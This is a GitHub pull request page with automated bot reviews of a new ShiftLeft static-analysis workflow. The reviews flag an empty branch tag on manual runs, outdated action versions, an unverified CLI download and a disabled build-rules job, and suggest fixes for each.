P2: When this workflow is triggered via workflow_dispatch, github.head_ref is empty (it's only populated for pull_request events). This results in --tag branch= being passed with no value, which combined with --strict will likely cause the step to fail.

Use a fallback: ${{ github.head_ref || github.ref_name }}

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:

<comment>When this workflow is triggered via `workflow_dispatch`, `github.head_ref` is empty (it's only populated for `pull_request` events). This results in `--tag branch=` being passed with no value, which combined with `--strict` will likely cause the step to fail.

Use a fallback: `${{ github.head_ref || github.ref_name }}`</comment>

<file context>
@@ -0,0 +1,62 @@
+        ${GITHUB_WORKSPACE}/sl --version
+        ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+          --app Games \
+          --tag branch=${{ github.head_ref }} \
+          --js $(pwd) -- --ts
+      env:
</file context>

steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: Using actions/setup-java@v3 is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 16:

<comment>Using `actions/setup-java@v3` is outdated. The latest stable version is v5. Upgrade to benefit from newer Node.js runtime, updated dependencies, and security patches.</comment>

<file context>
@@ -0,0 +1,62 @@
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
+      with:
+        distribution: zulu
</file context>
Suggested change
uses: actions/setup-java@v3
uses: actions/setup-java@v5

NextGen-Static-Analysis:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: Using actions/checkout@v3 is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to actions/checkout@v4 to pick up security fixes and performance improvements.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 14:

<comment>Using `actions/checkout@v3` is outdated. The latest release is v7.0.1 and other workflows in this repo already use v4+. Update to `actions/checkout@v4` to pick up security fixes and performance improvements.</comment>

<file context>
@@ -0,0 +1,62 @@
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
</file context>

@llamapreview llamapreview Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LlamaPReview — Blocking issues found

Don't merge yet - Unpinned CLI download from cdn.shiftleft.io without integrity verification.

  • Unpinned CLI download from cdn.shiftleft.io without integrity verification
  • Whether the GitHub Actions secret SHIFTLEFT_ACCESS_TOKEN is configured in the repository.

Owner action: Pin the CLI download to a specific version and verify its integrity with a cryptographic hash.

Review details and evidence
Priority File Finding Evidence
P1 .github/workflows/shiftleft.yml Unpinned CLI download from cdn.shiftleft.io without integrity verification confirmed
P2 .github/workflows/shiftleft.yml Build rules in shiftleft.yml are not enforced; Build-Rules job is commented out confirmed
P2 .github/workflows/shiftleft.yml Uses deprecated actions/checkout@v3 and actions/setup-java@v3 (Node.js 20) confirmed

Finding details

P1 · Unpinned CLI download from cdn.shiftleft.io without integrity verification

.github/workflows/shiftleft.yml

The workflow downloads the sl CLI binary from a mutable URL with no version pinning, checksum, or signature verification. If the CDN endpoint is compromised or a malicious release is published, an attacker can serve a tampered binary that executes in the next step with full access to the runner environment, including SHIFTLEFT_ACCESS_TOKEN and GITHUB_TOKEN. HTTPS provides transport security but cannot prevent a compromised endpoint.

Verification boundary: confirmed; scope: changed region.

Conceptual guidance (not a committable GitHub suggestion):

      - name: Download Harness SAST and SCA CLI
        run: |
          curl -L https://cdn.shiftleft.io/download/vX.Y.Z/sl > ${GITHUB_WORKSPACE}/sl && \
          echo "EXPECTED_SHA256  ${GITHUB_WORKSPACE}/sl" | sha256sum -c && \
          chmod a+rx ${GITHUB_WORKSPACE}/sl

P2 · Build rules in shiftleft.yml are not enforced; Build-Rules job is commented out

.github/workflows/shiftleft.yml

The shiftleft.yml file defines build rules (no critical findings, max 1 OSS/container finding, no reachable OSS vulnerabilities), but the Build-Rules job that would enforce them via sl check-analysis is entirely commented out. The workflow runs the scan but does not gate the PR on the declared rules, so critical or reachable vulnerabilities can merge without being blocked. If enforcement is intended, uncomment the job and ensure the token is configured.

Verification boundary: confirmed; scope: changed region.

P2 · Uses deprecated actions/checkout@v3 and actions/setup-java@v3 (Node.js 20)

.github/workflows/shiftleft.yml

actions/checkout@v3 and actions/setup-java@v3 target Node.js 20, which is deprecated on GitHub Actions runners and will be removed. The NextGen-Static-Analysis job already emits a deprecation warning. When the runtime is removed these actions will fail, breaking the workflow. Upgrade to @v4 of both actions.

Verification boundary: confirmed; scope: changed region.

Suggested direct replacement:

    - uses: actions/checkout@v4
    - name: Setup Java JDK v8
      uses: actions/setup-java@v4

Material unknowns

  • Whether the GitHub Actions secret SHIFTLEFT_ACCESS_TOKEN is configured in the repository.
    • Check: A repository administrator must verify in Settings > Secrets and variables > Actions that SHIFTLEFT_ACCESS_TOKEN exists and has the correct value.

LlamaPReview checks

  • Reviewed changed regions in .github/workflows/shiftleft.yml.

Automated review by LlamaPReview · Free for public open-source projects.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants